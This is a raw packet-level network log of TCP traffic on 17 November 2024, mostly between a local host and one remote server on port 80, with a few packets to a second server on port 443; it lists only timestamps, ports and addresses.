Nov 17, 2024 12:35:40.895414114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895414114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895420074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895441055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895441055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895474911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895489931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895500898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895503998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895523071 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895528078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895541906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895543098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895543098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895555973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895574093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895652056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895667076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895697117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895756006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895785093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895818949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895833969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895852089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895869017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895915985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895915985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895945072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895962000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895981073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895994902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896018982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896079063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896092892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896109104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896116018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896131039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896137953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896137953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896146059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896169901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896169901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896229982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896532059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896544933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896567106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896591902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896591902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896610022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896624088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896624088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896640062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896653891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896661997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896661997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896698952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896698952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896735907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896750927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896764994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896780014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896787882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896796942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896830082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896831036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896857977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896883965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896894932 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896898031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896912098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.896974087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.896991968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897006035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897020102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897034883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897041082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897049904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897057056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897138119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897142887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897152901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897166967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897181034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897196054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897207975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897248983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897248983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897265911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897289991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897304058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897317886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897317886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897335052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897341967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897361994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897361994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897432089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897445917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897458076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897460938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897484064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897485971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897499084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897505999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897512913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897527933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897542000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897547960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897557020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897567987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897607088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897607088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897679090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897731066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897753954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897831917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897850990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897865057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897878885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897887945 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897895098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897911072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.897917032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897964954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897964954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.897995949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898010969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898027897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898051023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898066044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898086071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898092985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898101091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898114920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898124933 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898128986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898139000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898144007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898159027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898169994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898190975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898231983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898364067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898379087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898391962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898407936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898407936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898422003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898431063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898436069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898443937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898457050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898475885 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898560047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898607969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898796082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898812056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898825884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898852110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898866892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898880959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898889065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898896933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898916006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898924112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898929119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898936987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898943901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.898961067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.898991108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899004936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899013042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899023056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899034977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899086952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899102926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899110079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899118900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899126053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899132967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899133921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899142981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899279118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899283886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899306059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899327993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899343014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899354935 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899358034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899364948 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899409056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899409056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899436951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899451017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899466038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899477959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899575949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899590015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899597883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899604082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899616957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899626017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899630070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899645090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899652958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899658918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899673939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899682999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899688005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899694920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899705887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899725914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899728060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899755001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899838924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.899939060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899955034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899969101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899982929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.899997950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900005102 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900012016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900027037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900031090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900043011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900057077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900067091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900072098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900087118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900098085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900098085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900100946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900115967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900122881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900218964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900302887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900324106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900340080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900353909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900365114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900374889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900393963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.900402069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900425911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.900492907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.938958883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939007044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939023018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939064026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939214945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939223051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939223051 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.939234018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939237118 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.939249992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939263105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939268112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939280987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939297915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939308882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939343929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939349890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939378977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939429998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939552069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939594030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939610004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939625978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939640999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939645052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939657927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.939668894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939677954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939702988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.939702988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.988137007 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.011037111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011054993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011066914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011084080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011095047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011189938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.011189938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.011693954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011792898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011809111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011817932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011825085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011826038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.011827946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011868954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.011940002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.011944056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011964083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.011975050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012061119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012072086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012079000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.012130976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012131929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.012145996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012156963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012170076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.012182951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.012299061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.013585091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.013595104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.013700962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.013936996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.013969898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.013981104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014019966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014075041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014081001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014086962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014103889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014115095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014126062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014131069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014131069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014132023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014157057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014166117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014168024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014178038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014247894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014247894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014259100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014323950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014358044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014379025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014389992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014419079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014441013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014448881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014460087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014466047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014473915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014522076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.014533043 CET	80	49778	185.215.113.206	192.168.2.5
